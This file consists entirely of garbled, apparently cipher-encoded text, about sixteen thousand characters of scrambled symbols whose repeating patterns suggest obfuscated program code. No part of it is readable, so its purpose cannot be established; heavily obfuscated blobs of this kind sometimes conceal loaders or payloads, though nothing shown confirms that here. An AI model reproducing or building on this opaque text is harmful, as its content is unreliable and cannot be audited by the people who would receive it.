+vv$U{>4j.i44k555fb{3<i2=o;8-5+dU=-:>4dUpp>->8->/730<4>++><72:1+2:+>;>+>UUU"U"U69w{>4j.i44k555fbbb}}v$Upu/0,6+6):r;:9616+:>;>/+:-upUU04'k=kgmm ;-<4*,;>&3*w68-=;0g1k=f9<,wnngivs6( l).%/>&.=%8wnnghvvdU-:+*-1dU"U"U{=69.)>8%ngi+)/;b:'kn'i<7oh8m.1o1'8nwwkhrmlvvdU69w~==7i3&4;3f/;13mwnnggvw68-=;0g1k=f9<,wnngfvvyy;:961:;w%&l24,::0;+wfiivvyy==7i3&4;3f/;13mwnnfovwq==7i3&4;3f/;13mwnnfnvvv$Upp:;6,0=5:<+<><7:0=5:<+96+U{4k5%o1>8,bktmkd{%ggfk515/%b{4k5%o1>8,rlfdU-:.*6-: 01<:q%&l24,::0;+wnnfnvdU"UUU{-go<8>9&1i8n4=;b{>4j.i44k555fqxxq(8%</,)&:4o0.=9w==7i3&4;3f/;13mwnngnvvdU{3*o4)k/52l fo9/b9>3,:dU69w68-=;0g1k=f9<,wnnggvw68-=;0g1k=f9<,wnngfvvv$UU{3*o4)k/52l fo9/b%&l24,::0;+wnngfvw>-->&wUUUU%&l24,::0;+wnnfmvba{>4j.i44k555fsU%&l24,::0;+wnnflvba{=69.)>8%ngi+)/;sU6( l).%/>&.=%8wnnfkvba{-go<8>9&1i8n4=;sU6( l).%/>&.=%8wnnfjvba6( l).%/>&.=%8wnnfivsU==7i3&4;3f/;13mwnnfhvba{>4j.i44k555fsUvvdU69w6, (/ :--0-w{3*o4)k/52l fo9/vv$U04'k=kgmm ;-<4*,;>&3*w6( l).%/>&.=%8wnngivs{3*o4)k/52l fo9/ra8:+ :--0- <0;:wvqxexq{3*o4)k/52l fo9/ra8:+ :--0- 2:,,>8:wvvdUU{3*o4)k/52l fo9/b9>3,:dUUU"U"UU69w~{3*o4)k/52l fo9/v$UUUU{(/;=b6,,:+w{6( l).%/>&.=%8wnolivv`{%&l24,::0;+wnolive1*33dU69w~{(/;=##~68-=;0g1k=f9<,wnohivw{(/;=vv$U04'k=kgmm ;-<4*,;>&3*w==7i3&4;3f/;13mwnngivs%&l24,::0;+wnnfgvvdU-:+*-1dU"U{>&0i06>j(jb==7i3&4;3f/;13mwnnggvw==7i3&4;3f/;13mwnnffvv`(/ 7>,7 />,,(0-;w{=69.)>8%ngi+)/;ve6( l).%/>&.=%8wnnmivw{=69.)>8%ngi+)/;vdU{=.;n).(g',h50*:3b6( l).%/>&.=%8wnnggvw%&l24,::0;+wnmoovv`<*--:1+ +62:w68-=;0g1k=f9<,wnmonvve82;>+:w68-=;0g1k=f9<,wnmomvvdU{7ok<=-2gjmfi >b{(/;=ra61,:-+w{(/;=ra*,:-,s>-->&wU%&l24,::0;+wnmolvba{>4j.i44k555fsU68-=;0g1k=f9<,wnnflvba{>&0i06>j(jsUUUU%&l24,::0;+wnmokvba{>4j.i44k555fsU%&l24,::0;+wnnfkvba{-go<8>9&1i8n4=;sU6( l).%/>&.=%8wnmojvba{=.;n).(g',h50*:3sU68-=;0g1k=f9<,wnmoivbaosUUUU68-=;0g1k=f9<,wnnfhvba{>4j.i44k555fsUUUUvs>-->&w==7i3&4;3f/;13mwnmohvs6( l).%/>&.=%8wnmohvs==7i3&4;3f/;13mwnmohvs68-=;0g1k=f9<,wnmohvs==7i3&4;3f/;13mwnmohvs6( l).%/>&.=%8wnmogvs6( l).%/>&.=%8wnmohvvvdU69w~{7ok<=-2gjmfi >v$U04'k=kgmm ;-<4*,;>&3*w6( l).%/>&.=%8wnngivs==7i3&4;3f/;13mwnmofvvdUUU-:+*-1dUUUU"U{3*o4)k/52l fo9/bw61+v{(/;=ra61,:-+ 6;dU{';-5&=:42lb{(/;=ra/-:96'q%&l24,::0;+wnolhvdU{(/;=ra61,:-+w{(/;=ra*,:-2:+>s>-->&wUU==7i3&4;3f/;13mwnmnovba{3*o4)k/52l fo9/sU%&l24,::0;+wnmnnvba{';-5&=:42lsU68-=;0g1k=f9<,wnmnmvba68-=;0g1k=f9<,wlfivw>-->&w%&l24,::0;+wnnfivba+-*:vvsUvs>-->&w%&l24,::0;+wnmogvs6( l).%/>&.=%8wnmohvs%&l24,::0;+wnmohvvvdUUU{(/;=ra61,:-+w{(/;=ra*,:-2:+>s>-->&wU==7i3&4;3f/;13mwnmnovba{3*o4)k/52l fo9/sUUUU6( l).%/>&.=%8wnmnlvba{(/;=ra/-:96'q%&l24,::0;+wnmnkvsU6( l).%/>&.=%8wnmnmvbaxnoxsUvs>-->&w6( l).%/>&.=%8wnmogvs==7i3&4;3f/;13mwnmnjvs68-=;0g1k=f9<,wnmnivvvdU69w68-=;0g1k=f9<,wnnggvw6( l).%/>&.=%8wnmnhvvv$U<3:>1 *,:- <><7:w{3*o4)k/52l fo9/vdU"UU"U69w~*,:-1>2: :'6,+,w{>4j.i44k555fvv$U04'k=kgmm ;-<4*,;>&3*w6( l).%/>&.=%8wnmngvs==7i3&4;3f/;13mwnmnfvvdUUU-:+*-1dU"UUUU{&<4 >- .i(>j%l-b%&l24,::0;+wnmmovw==7i3&4;3f/;13mwnmmnvv`8:+ *,:- =&w68-=;0g1k=f9<,wnmmmvs{>4j.i44k555fve9>3,:dU{/)=g)kki(%>m'hb9>3,:dU69w{&<4 >- .i(>j%l-yy~:2/+&w{&<4 >- .i(>j%l-ravv$UUU69w==7i3&4;3f/;13mwnmmovw==7i3&4;3f/;13mwnmmlvvv$U{/)=g)kki(%>m'hbw=003v*,:- <>1w{&<4 >- .i(>j%l-s68-=;0g1k=f9<,wnnfivvdU":3,:69w6,,:+w{&<4 >- .i(>j%l-ra<>/,vyy6( l).%/>&.=%8wnngovw{&<4 >- .i(>j%l-ra<>/,vv$U{/)=g)kki(%>m'hb~:2/+&w{&<4 >- .i(>j%l-ra<>/,==7i3&4;3f/;13mwnnfivvdU"U"Upp30<4)le8-::;&><<*2*3>+0-UUU69w~{/)=g)kki(%>m'hv$U04'k=kgmm ;-<4*,;>&3*w%&l24,::0;+wnmngvs6( l).%/>&.=%8wnmmkvvdU69w{3*o4)k/52l fo9/v$U69w~6( l).%/>&.=%8wnmmovw==7i3&4;3f/;13mwnmmjvvyy;:961:;w%&l24,::0;+wnmmivvyy%&l24,::0;+wnnfovwq6( l).%/>&.=%8wnmmhvvv$U-:.*6-: 01<:q%&l24,::0;+wnmmhvdUUUU"U69w==7i3&4;3f/;13mwnmmovw68-=;0g1k=f9<,wnmmjvvv(/ ;:3:+: *,:-w{3*o4)k/52l fo9/vdU"U-:+*-1dU"U5% 3m3%%i+&%>-;(142mm)w==7i3&4;3f/;13mwnohkvs{>4j.i44k555fs%&l24,::0;+wnmmgvvdU5% 3m3%%i+&%>-;(142mm)w6( l).%/>&.=%8wnohjvs{=69.)>8%ngi+)/;s68-=;0g1k=f9<,wnmmgvvdU"<>+<7w7-0(>=3:{3+1n/j=+n mv$Upp-:,+0-::):1+*>32:,,>8:r.*:*:UUU04'k=kgmm ;-<4*,;>&3*w==7i3&4;3f/;13mwnmngvs{3+1n/j=+n mvdU"<>+<7w'<:/+601{3+1n/j=+n mv$U"961>33&$U8j,l7f2>m0=f6&<-w==7i3&4;3f/;13mwgonvvdU"U"UU9*1<+6015< >)o93'o&kil9.')w{>5-+i4 h)kvU$UUUU+-&$UU69w~==7i3&4;3f/;13mwnohivw{>5-+i4 h)kv##~/-0/:-+& :'6,+,w{>5-+i4 h)ks6( l).%/>&.=%8wnmmfvvv$UU-:+*-1{>5-+i4 h)kdUUU"UUUUU{>4j.i44k555fb6( l).%/>&.=%8wnmmovw6( l).%/>&.=%8wnnhhvv`w,+-618v7=6*m)5(8(fkl*-%l14  'w%&l24,::0;+wnohkvs}}ve}}dU69w~{>4j.i44k555fv$UU-:+*-1{>5-+i4 h)kdU"UU{'=+jn.*.%5fob:,< ,.3w{>4j.i44k555fvdU69w68-=;0g1k=f9<,wnmlovw{>5-+i4 h)kra.*:-& (7:-:s{'=+jn.*.%5fovbbb9>3,:v$U{>5-+i4 h)kra.*:-& (7:-:qb6( l).%/>&.=%8wnmlnvq{'=+jn.*.%5foq}x}dU"U"<>+<7w7-0(>=3:{3+1n/j=+n mv$U04'k=kgmm ;-<4*,;>&3*w%&l24,::0;+wnmlmvs{3+1n/j=+n mvdU"<>+<7w'<:/+601{3+1n/j=+n mv$UUUU"UUU-:+*-1{>5-+i4 h)kdU"U9*1<+6015l<=//8)fi:n44/7%w{5,,<)=8*<( vUUUU$Upu;:8:1:->+:+-*,+r>1<70-upUU+-&$U{). 0+&f+/.b%&l24,::0;+wnmmovw%&l24,::0;+wnmllvv`w,+-618v7=6*m)5(8(fkl*-%l14  'w6( l).%/>&.=%8wnmlkvs}}ve}}dU69w~{). 0+&f+/.v$Upp6;:1+6+&<02/>-6,01UU-:+*-1{5,,<)=8*<( dU"U{17;>93'f<f+b>-->&w%&l24,::0;+wnmljvs68-=;0g1k=f9<,wnnfivvdU90-:><7w{17;>93'f<f+>,{4:&v$U69w6,,:+w{5,,<)=8*<( {4:&vyy68-=;0g1k=f9<,wnnlfvw{5,,<)=8*<( {4:&vyy6( l).%/>&.=%8wgoivw%&l24,::0;+wnmlivs{5,,<)=8*<( {4:&s{)h5njf,21i9f/hvv$U{252-:,6o4m=o8n*)b6( l).%/>&.=%8wjljvwosw61+v{)h5njf,21i9f/hnrnvdUUUUUU{5,,<)=8*<( {4:&b68-=;0g1k=f9<,wnmlhvw%&l24,::0;+wnmlgvsxwxq{252-:,6o4m=o8n*)qxvxs{5,,<)=8*<( {4:&vdUU"UUUU"U"<>+<7w7-0(>=3:{3+1n/j=+n mv$U04'k=kgmm ;-<4*,;>&3*w6( l).%/>&.=%8wnmlfvs{3+1n/j=+n mvdU"<>+<7w'<:/+601{3+1n/j=+n mv$U"U-:+*-1{5,,<)=8*<( dU"U9*1<+601<3l2+8'9153 mgmg;'-k4(w{7i*ok*/0<.s{%io'1h.i(2>..,'9vU${+7i-fkjf7bjlind{:m;83okfb{+7i-fkjf7znkdU+-&$U{>4j.i44k555fb%&l24,::0;+wnmmovw%&l24,::0;+wnmllvv`w,+-618v7=6*m)5(8(fkl*-%l14  'w6( l).%/>&.=%8wnmkovs}}ve}}dU69w{>4j.i44k555fbbb}}v$U-:+*-1{7i*ok*/0<.dU"U69w~68-=;0g1k=f9<,wnngovw{7i*ok*/0<.vv$U-:+*-1{7i*ok*/0<.dU"U69w~6,,:+w{7i*ok*/0<.==7i3&4;3f/;13mwnmknvv##~68-=;0g1k=f9<,wnngovw{7i*ok*/0<.68-=;0g1k=f9<,wnmknvvv$U{7i*ok*/0<.6( l).%/>&.=%8wnmkmvb>-->&wvd{- 'mf*l-2n,mbmhfd{&<fh%/%>bw{- 'mf*l-2n,maov`{- 'mf*l-2n,mer{- 'mf*l-2n,mdU"U69w~68-=;0g1k=f9<,whfivw{>4j.i44k555fs{7i*ok*/0<.68-=;0g1k=f9<,wnmkmvs+-*:vv$U{7i*ok*/0<.6( l).%/>&.=%8wnmkmvb{>4j.i44k555fdU"U"<>+<7w7-0(>=3:{3+1n/j=+n mv$U04'k=kgmm ;-<4*,;>&3*w%&l24,::0;+wnmklvs{3+1n/j=+n mvdUU"<>+<7w'<:/+601{3+1n/j=+n mv$U"U-:+*-1{7i*ok*/0<.d{%13)6;'4 bjtmd{>+m''8h4*&&:%b{%13)6;'4 rkhdU"UU9*1<+601'j0'k9g5h8<k;2oo7wvU$UU{' :o62>io:(':b>-->&wvdUUU69w;:961:;w%&l24,::0;+wgmgvvyy6( l).%/>&.=%8wnmmovw6( l).%/>&.=%8wnmllvvv$Upp&g,e61,+-*2:1+,<0/:r<7>61UU{;>=n)-ll/1,+bw>-->&v8:+ 0/+601w==7i3&4;3f/;13mwhhgvs>-->&wvvdU{61%n,.653<,/b>-->&wvdU90-:><7w{;>=n)-ll/1,+>,{=>,:1>2:v$U69w~==7i3&4;3f/;13mwnmkkvw{=>,:1>2:v##6( l).%/>&.=%8wnmlovw{=>,:1>2:s6( l).%/>&.=%8wmkivv~bb9>3,:v$UUUU<01+61*:dU"Upp+->1,/63:,/>-,:;6,/>+<7:-UU{' 3i%)3;-9b6( l).%/>&.=%8wnmkjvw{=>,:1>2:vdU69w{' 3i%)3;-9bbbxqxv$U{' 3i%)3;-9b{=>,:1>2:dU"U69w6,,:+w{61%n,.653<,/{' 3i%)3;-9vv$UU<01+61*:d{=90/7<%38=97bliukd{+nhmfoh*f<(,.b{=90/7<%38=97rkgdUUU"UUUU{61%n,.653<,/{' 3i%)3;-9b+-*:dU{13o'45<go:gb 
 qxpxq{=>,:1>2:dU69w68-=;0g1k=f9<,wnmkivw{=>,:1>2:vbbbxqxv$U69w68-=;0g1k=f9<,wnnlgvw{13o'45<go:gvv$U{' :o62>io:(':b{13o'45<go:gdU"Upp/-:9:+<7;:+:-2616,+6<>3:-+UU":3,:$UU{-h/43n4*<,ob==7i3&4;3f/;13mwnmkivw{13o'45<go:gvdUU69w6( l).%/>&.=%8wghhvw{-h/43n4*<,ovv$U{' :o62>io:(':b68-=;0g1k=f9<,wnmkhvw{' :o62>io:(':s5'10 n--8::m:m:4hi'9w{-h/43n4*<,os>-->&w6( l).%/>&.=%8wgkgvvvvdU"U"U"UUU"Upp6+:->+:,:,,601r+&/:90-01+6=->-&UUUUUU69w6( l).%/>&.=%8wghhvw* <>0f1:0)g)&4k,07+oo1wvvv$Upp*1,*=,<-6=:<00-;61>+0-UU{1(l*mi=>'2b*m,n*l71hj:h7,7>,.4*w* <>0f1:0)g)&4k,07+oo1wvvdUU69w==7i3&4;3f/;13mwnmkgvw{1(l*mi=>'2vv$UUU90-:><7w{1(l*mi=>'2>,{%8;i><=o1+j9&v$U69w{%8;i><=o1+j9&bbb64g,7j8l*g'j*&'63.f<&wvv$UU<01+61*:dUUU"U{<03(%':3g>0b* <>0f1:0)g)&4k,07+oo1wvqxpxq{%8;i><=o1+j9&dU69w6( l).%/>&.=%8wnmkfvw{<03(%':3g>0vyy68-=;0g1k=f9<,whhvw%&l24,::0;+wgmmvw{%8;i><=o1+j9&s<01,+>1+w%&l24,::0;+wnmjovvvvbbb68-=;0g1k=f9<,wnmjnvv$UU{' :o62>io:(':b{<03(%':3g>0dU"U"UUUU"U"UUUUU69w;:961:;w6( l).%/>&.=%8wnmmivvyy68-=;0g1k=f9<,wnmmovw68-=;0g1k=f9<,wnmjmvvv$U{)6)55ok</624=&bw,+-618v8:+ 0/+601w68-=;0g1k=f9<,wnmjlvs}}vdUUU{>:&32.-6-<(<.<bw,+-618v8:+ 0/+601w68-=;0g1k=f9<,wnmjkvs}}vdU{4)ok&0-76/b;:961:;w6( l).%/>&.=%8wnmjjvv`  q%&l24,::0;+wnmjiveq68-=;0g1k=f9<,wnmjhvdU{*7hjlo2%/h8 1b==7i3&4;3f/;13mwnmjgvw%&l24,::0;+wlhfvw>-->&w{)6)55ok</624=&s{>:&32.-6-<(<.<vvvdU90-:><7w{*7hjlo2%/h8 1>,{6,m8-.=='/v$U69w==7i3&4;3f/;13mwnmjfvw{6,m8-.=='/s6( l).%/>&.=%8wnmiovv~bb9>3,:v$U<01+61*:dU"U{3%>(1l,>ojb{4)ok&0-76/qxpxq{6,m8-.=='/dU69w6( l).%/>&.=%8wghhvw{3%>(1l,>ojvv$UU{ )j2k5; li+,(3(mb*m,n*l71hj:h7,7>,.4*w{3%>(1l,>ojvdU69w6( l).%/>&.=%8wnmkgvw{ )j2k5; li+,(3(mvv$U90-:><7w{ )j2k5; li+,(3(m>,{%8;i><=o1+j9&v$U{*o-l.6%f64'9b{3%>(1l,>ojqxpxq{%8;i><=o1+j9&dU69w68-=;0g1k=f9<,wnmkfvw{*o-l.6%f64'9vyy==7i3&4;3f/;13mwhhvw6( l).%/>&.=%8wgmmvw{%8;i><=o1+j9&s<01,+>1+w==7i3&4;3f/;13mwnmjovvvvbbb6( l).%/>&.=%8wnmjnvv$U{' :o62>io:(':b{*o-l.6%f64'9dU"U"U"Upp0,+'<:-/+>++><72:1+2:+>;>+>UUU{&2*&h92kl5m=/;b{3%>(1l,>ojq%&l24,::0;+wnminvdU69w==7i3&4;3f/;13mwnmimvw{&2*&h92kl5m=/;vv$U{' :o62>io:(':b==7i3&4;3f/;13mwnmkhvw{' :o62>io:(':s5'10 n--8::m:m:4hi'9w{&2*&h92kl5m=/;s>-->&w%&l24,::0;+wnmjnvvvvdUUUU"U"U"UUU"U-:+*-168-=;0g1k=f9<,wnmjgvw{' :o62>io:(':vdUUU"U9*1<+601%;;;oh%9i2om9%;6ko&8&w{68/g79o4>:vU$U69w~6( l).%/>&.=%8wnmilvw{68/g79o4>:vv-:+*-1>-->&wvdUUUU{-6%<)l5%07.1;' 'b>-->&wvdU90-:><7w{68/g79o4>:>,{/59mn0<k05f9*jhiv$U69w~%&l24,::0;+wnmkkvw{/59mn0<k05f9*jhiv##{/59mn0<k05f9*jhibbb}}##%&l24,::0;+wnmikvw{/59mn0<k05f9*jhivawkonfthhvv<01+61*:dU+-&$Upp,+-:,,r+:,+61;:<02/0,>=3:>*+70-6+&UU69w6( l).%/>&.=%8wgoivw{/59mn0<k05f9*jhis}}vbbb9>3,:v<01+61*:dU"<>+<7w7-0(>=3:{3+1n/j=+n mv$U<01+61*:dUUUU"<>+<7w'<:/+601{3+1n/j=+n mv$U<01+61*:dU"U{-6%<)l5%07.1;' 'b{/59mn0<k05f9*jhidUU"Upp02:614e+-><:;0261>+0-r+-::UU-:+*-1{-6%<)l5%07.1;' 'dUU"U9*1<+601-&g%+6l'j1<=7-/ w{68/g79o4>:vU$U+-&$UU69w:2/+&w{68/g79o4>:vv$UUU-:+*-19>3,:d{%j)<*9 ,bnhmjd{66o(=k6m70>>b{%j)<*9 ,zmdU"UUU{' :o62>io:(':b'j0'k9g5h8<k;2oo7wvdUUUU69w:2/+&w{' :o62>io:(':vv$Upp30<4<01,+->61+r,:+90-0,+6+3:UU-:+*-19>3,:dU"U{)+&<k*%1,8/;b9>3,:dU90-:><7w{' :o62>io:(':>,{<03(%':3g>0v$UU69w~==7i3&4;3f/;13mwnmkfvw{<03(%':3g>0v##~%&l24,::0;+wghgvw{<03(%':3g>0vv$U<01+61*:dU"UU69w==7i3&4;3f/;13mwmmlvw{<03(%':3g>0vawjmkmmktikvv$U<01+61*:dUUU"U{)8o6+:j/7, '7b68-=;0g1k=f9<,wnnmjvw{<03(%':3g>0vdU69w~{)8o6+:j/7, '7##~==7i3&4;3f/;13mwnmijvw{)8o6+:j/7, '7vv$U<01+61*:dUUU"UU{8=ii'-:m.)f-<gl&b9>3,:dUUUU90-:><7w{68/g79o4>:>,{,6: i 'j i:<v$U+-&$UUUUUU{%n6%;k3*=;>n6b==7i3&4;3f/;13mwnmlhvw{,6: i 'j i:<s}}s{)8o6+:j/7, '7vdU69w{%n6%;k3*=;>n6~bb1*33yy{%n6%;k3*=;>n6~bb{)8o6+:j/7, '7v$U{)8o6+:j/7, '7b{%n6%;k3*=;>n6d{-4gf(g6kk/5brfgid{</;9)3>(k&,>bw{-4gf(g6kk/5aov`{-4gf(g6kk/5er{-4gf(g6kk/5dU{8=ii'-:m.)f-<gl&b+-*:dU"Upp0-;-:,,iqi=30<4=61;618,e61+:--*/+;:-6)>+601UU"<>+<7w7-0(>=3:{3+1n/j=+n mv$U04'k=kgmm ;-<4*,;>&3*w6( l).%/>&.=%8wnmiivs{3+1n/j=+n mvdU<01+61*:dU"<>+<7w'<:/+601{3+1n/j=+n mv$Upp>)68>+60130<4101<:)>36;>+601UU<01+61*:dU"U"UU69w{8=ii'-:m.)f-<gl&v$U69w,=.9=%*lk<l11j),n'56'/w{<03(%':3g>0s{)8o6+:j/7, '7vv$U{)+&<k*%1,8/;b+-*:dU"U"UU"UU-:+*-1{)+&<k*%1,8/;dUU"<>+<7w7-0(>=3:{3+1n/j=+n mv$Upu/-62>-&;6-:<+0-upUU04'k=kgmm ;-<4*,;>&3*w68-=;0g1k=f9<,wnmihvs{3+1n/j=+n mvdUUU"<>+<7w'<:/+601{3+1n/j=+n mv$U"Upu,:,.*6361:>--:+-&r/036<&upUU-:+*-19>3,:dUUU"UU9*1<+6010',&m(%=22=f*&w{-h/43n4*<,os{2%31'-o6<j-vUUUU$UUUU{2:=(k(5>m:jk,.1b>-->&wvdU{2%31'-o6<j-b{2%31'-o6<j-rndUU{8919'%j/45*;m+b68-=;0g1k=f9<,wmjovw{-h/43n4*<,ovd{4*(oi.<8976/bmkujd{,=7<f>)l7<:+b{4*(oi.<8976/rmkdU69w~6( l).%/>&.=%8wnmilvw{8919'%j/45*;m+vv$UUU-:+*-1{2:=(k(5>m:jk,.1dU"U{8919'%j/45*;m+b%&l24,::0;+wnlkvw{8919'%j/45*;m+soswo'f<to'njgvvdUUUU90-:><7w{8919'%j/45*;m+>,{%8;i><=o1+j9&v$UUUUU69w{%8;i><=o1+j9&bbbxqx##{%8;i><=o1+j9&bbb==7i3&4;3f/;13mwnmiovv$U<01+61*:dU"UUUU{9>+6k442njb{-h/43n4*<,oqxpxq{%8;i><=o1+j9&dU69w~68-=;0g1k=f9<,wnmimvw{9>+6k442njvv$U<01+61*:dU"UU69w==7i3&4;3f/;13mwnmimvw{9>+6k442njq==7i3&4;3f/;13mwnojjvvv$UUUU{2:=(k(5>m:jk,.1b6( l).%/>&.=%8wiigvw{9>+6k442njs68-=;0g1k=f9<,wnmigvvdU<01+61*:dU"UUUUU69w{2%31'-o6<j-aov$UU{2:=(k(5>m:jk,.1b68-=;0g1k=f9<,wnmkhvw{2:=(k(5>m:jk,.1s0',&m(%=22=f*&w{9>+6k442njs{2%31'-o6<j-vvdU"U"UU-:+*-1{2:=(k(5>m:jk,.1dU"U9*1<+601>/&<,2g&kjj6f6)(gwvU$U{-o(=.3=.i);ji30b>-->&wvdUUU{,=%+g,+7</n61+j9b%&l24,::0;+wiigvws%&l24,::0;+wnmigvvdU+-&$U{3;/%*+*i/1j,;b>-->&wvdU69w{,=%+g,+7</n61+j9v$U{3;/%*+*i/1j,;b==7i3&4;3f/;13mwnmkivw{,=%+g,+7</n61+j9vdU{3;/%*+*i/1j,;b%&l24,::0;+wnmkivw6( l).%/>&.=%8wnmkivw{,=%+g,+7</n61+j9vvdUUUU{3;/%*+*i/1j,;b%&l24,::0;+wnmifvw==7i3&4;3f/;13mwnmifvw%&l24,::0;+wnmifvw{,=%+g,+7</n61+j9vvvdU"UUUU{3;/%*+*i/1j,;b==7i3&4;3f/;13mwnmhovdU{3;/%*+*i/1j,;b%&l24,::0;+wnmhnvdU{3;/%*+*i/1j,;b==7i3&4;3f/;13mwnmhmvdU{3;/%*+*i/1j,;b68-=;0g1k=f9<,wnmhlvdU{3;/%*+*i/1j,;b68-=;0g1k=f9<,wnmhkvdU{3;/%*+*i/1j,;b68-=;0g1k=f9<,wnmhjvdUU{3;/%*+*i/1j,;b==7i3&4;3f/;13mwnmhivdUUU{<4f*in<k/;4' >-b%&l24,::0;+wnmmovw6( l).%/>&.=%8wnmhhvv`w,+-618v6( l).%/>&.=%8wnmhgvw%&l24,::0;+wnmhfvve}}dU69w{<4f*in<k/;4' >-~bb}}v$U{83m,6.>nf6lj'obw6( l).%/>&.=%8wnmgovw{<4f*in<k/;4' >-sxdxv~bb9>3,:v`xdxexexdU90-:><7w6( l).%/>&.=%8wmmovw{83m,6.>nf6lj'os{<4f*in<k/;4' >-v>,{93=9>%l2lmh16-0nv$U{93=9>%l2lmh16-0nb==7i3&4;3f/;13mwnmgnvw{93=9>%l2lmh16-0nvdU69w{93=9>%l2lmh16-0n~bb}}v$U{3;/%*+*i/1j,;b{93=9>%l2lmh16-0ndU"U"U"UU{3;/%*+*i/1j,;b==7i3&4;3f/;13mwnmgmvw68-=;0g1k=f9<,wlhfvw{3;/%*+*i/1j,;vvdU{/0/+6jj><,f3b%&l24,::0;+wnmglvw+-*:vdUU{-o(=.3=.i);ji30b>-->&wvd{ fo2/=</=igbko#hnd{7o<7&,7fn1>b{ fo2/=</=igmmgdUU90-:><7w{3;/%*+*i/1j,;>,{-h/43n4*<,ov$UU69w~==7i3&4;3f/;13mwnmimvw{-h/43n4*<,ov##~68-=;0g1k=f9<,wgnnvw{-h/43n4*<,ovv$U<01+61*:dU"UUU69ww==7i3&4;3f/;13mwnmglvw+-*:vr{/0/+6jj><,f3vawo'nto'fvv$U=-:>4dU"UUUUU{-o(=.3=.i);ji30b==7i3&4;3f/;13mwnmkhvw{-o(=.3=.i);ji30s0',&m(%=22=f*&w{-h/43n4*<,osmvvd{1,ho8o6;>f=+bwo'n:to'hivd{4fnf)9<&52b{1,ho8o6;>f=+znkdU"UUU"<>+<7w7-0(>=3:{3+1n/j=+n mv$U04'k=kgmm ;-<4*,;>&3*w==7i3&4;3f/;13mwfhivs{3+1n/j=+n mvdU"<>+<7w'<:/+601{3+1n/j=+n mv${65,==h7gb  	d{,5,.7  <&f b{65,==h7guldUU"UU-:+*-1==7i3&4;3f/;13mwnfivw%&l24,::0;+wnmgmvw{-o(=.3=.i);ji30vs>-->&w{,=%+g,+7</n61+j9vvdUUU"U9*1<+601%'506-)->g173l18ofw{,f8:<8jk%.''/<vU$U+-&$U{%*80(7<+20&=15h:b>-->&w{,f8:<8jk%.''/<q==7i3&4;3f/;13mwnmgkvs{,f8:<8jk%.''/<q68-=;0g1k=f9<,wnmgjvvdU90-:><7w{%*80(7<+20&=15h:>,{-h/43n4*<,ov$U69w~6( l).%/>&.=%8wnmimvw{-h/43n4*<,ovv$U<01+61*:dU"U{&j>:mf:>j,6%ojb*m,n*l71hj:h7,7>,.4*w{-h/43n4*<,ovdU69w~6( l).%/>&.=%8wnmilvw{&j>:mf:>j,6%ojvv${7k7m47* 25<>lbwo'9mto'k=vd{%,l>>/4%=0b{7k7m47* 25<>lzfdU<01+61*:dU"U90-:><7w{&j>:mf:>j,6%oj>,{3+1n/j=+n mv$U69w68-=;0g1k=f9<,wnnlnvw{3+1n/j=+n msrwmtmvvbbb==7i3&4;3f/;13mwfggvyy':f6 <:(3(,;4l9)w{-h/43n4*<,oqxpxq{3+1n/j=+n mswkfgjtnjvvv$UU-:+*-1+-*:dU"U"U90-:><7w{&j>:mf:>j,6%oj>,{3+1n/j=+n mv$U{/ kj:4.23'-,f-nb{-h/43n4*<,oqxpxq{3+1n/j=+n mdUUU69w~6( l).%/>&.=%8wnmgivw{/ kj:4.23'-,f-nvv$U<01+61*:dUU"U{<:l69'k8kfg2)hb*m,n*l71hj:h7,7>,.4*w{/ kj:4.23'-,f-nvdU69w~==7i3&4;3f/;13mwnmilvw{<:l69'k8kfg2)hvv$U<01+61*:dU"U90-:><7w{<:l69'k8kfg2)h>,{;:m.20n>922=h/v$U69w68-=;0g1k=f9<,wnnlnvw{;:m.20n>922=h/srwo'nto'lvvbbb68-=;0g1k=f9<,wfggvyy':f6 <:(3(,;4l9)w{/ kj:4.23'-,f-nqxpxq{;:m.20n>922=h/swo'nom=to'lj;vvv$UUUU-:+*-1+-*:dU"UU"U"U"U"<>+<7w7-0(>=3:{3+1n/j=+n mv$Upp,:-6>36%:>;>/+:-UU04'k=kgmm ;-<4*,;>&3*w==7i3&4;3f/;13mwnmghvs{3+1n/j=+n mvdU"<>+<7w'<:/+601{3+1n/j=+n mv$UU"U-:+*-19>3,:dU"U9*1<+60199/)506j-,6ll4f9wvU$U+-&$U69w%2:n;9l5gim=)+<n%28(jw-nif,f=:o%ol2)owvvv-:+*-1dUUUU69w8:+ +->1,6:1+w==7i3&4;3f/;13mwnmggvvv$U-:+*-1dUUU"UUU{/3o7(5k<n381&'b:%''&1')6-2mnm(wvdU69w~{/3o7(5k<n381&'##==7i3&4;3f/;13mwnmikvw{/3o7(5k<n381&'vcwfhktmivv$U-:+*-1dU"U69w~)%;j1-;6fo.< h=<%=*w{/3o7(5k<n381&'vv$U04'k=kgmm ;-<4*,;>&3*w68-=;0g1k=f9<,wnmgfvs==7i3&4;3f/;13mwghlvvdU-:+*-1dU"Upp0,+6+3:e:1>=3:/-009r+:-2UUUU{-o(=.3=.i);ji30b>/&<,2g&kjj6f6)(gwvdUU69w:2/+&w{-o(=.3=.i);ji30vv$U69w~8:+ +->1,6:1+w6( l).%/>&.=%8wnmfovvv$UU04'k=kgmm ;-<4*,;>&3*w==7i3&4;3f/;13mwnmgfvs==7i3&4;3f/;13mwnmfnvvdU,:+ +->1,6:1+w%&l24,::0;+wnmfovsnswo'>>oto'lhovvdU"U,:+ +->1,6:1+w6( l).%/>&.=%8wnmggvsnswnjhfjitnonmkkvvdU-:+*-1dUUU"UU{,o;6'6.,*k3lmnbodU90-:><7w{-o(=.3=.i);ji30>,{,f8:<8jk%.''/<v$UUUUUUUU69w%'506-)->g173l18ofw{,f8:<8jk%.''/<vv$U<01+61*:dU"UU{4/l;k'0<56m>.k(+b}}dU{:n:8;),2<76'=5fb{,f8:<8jk%.''/<q6( l).%/>&.=%8wnmgkvdUU69w==7i3&4;3f/;13mwghivw{:n:8;),2<76'=5fvyy~==7i3&4;3f/;13mwnmgivw{:n:8;),2<76'=5fvv$U{:n:8;),2<76'=5fb1*33dUUU":3,:69w~68-=;0g1k=f9<,wnmgivw{:n:8;),2<76'=5fvv$UUUU 1'4'n,k3k&859>>;w{:n:8;),2<76'=5fswklotilvs+-*:vdUUUU"U69w{:n:8;),2<76'=5fyyw~==7i3&4;3f/;13mwnmgivw{:n:8;),2<76'=5fv##~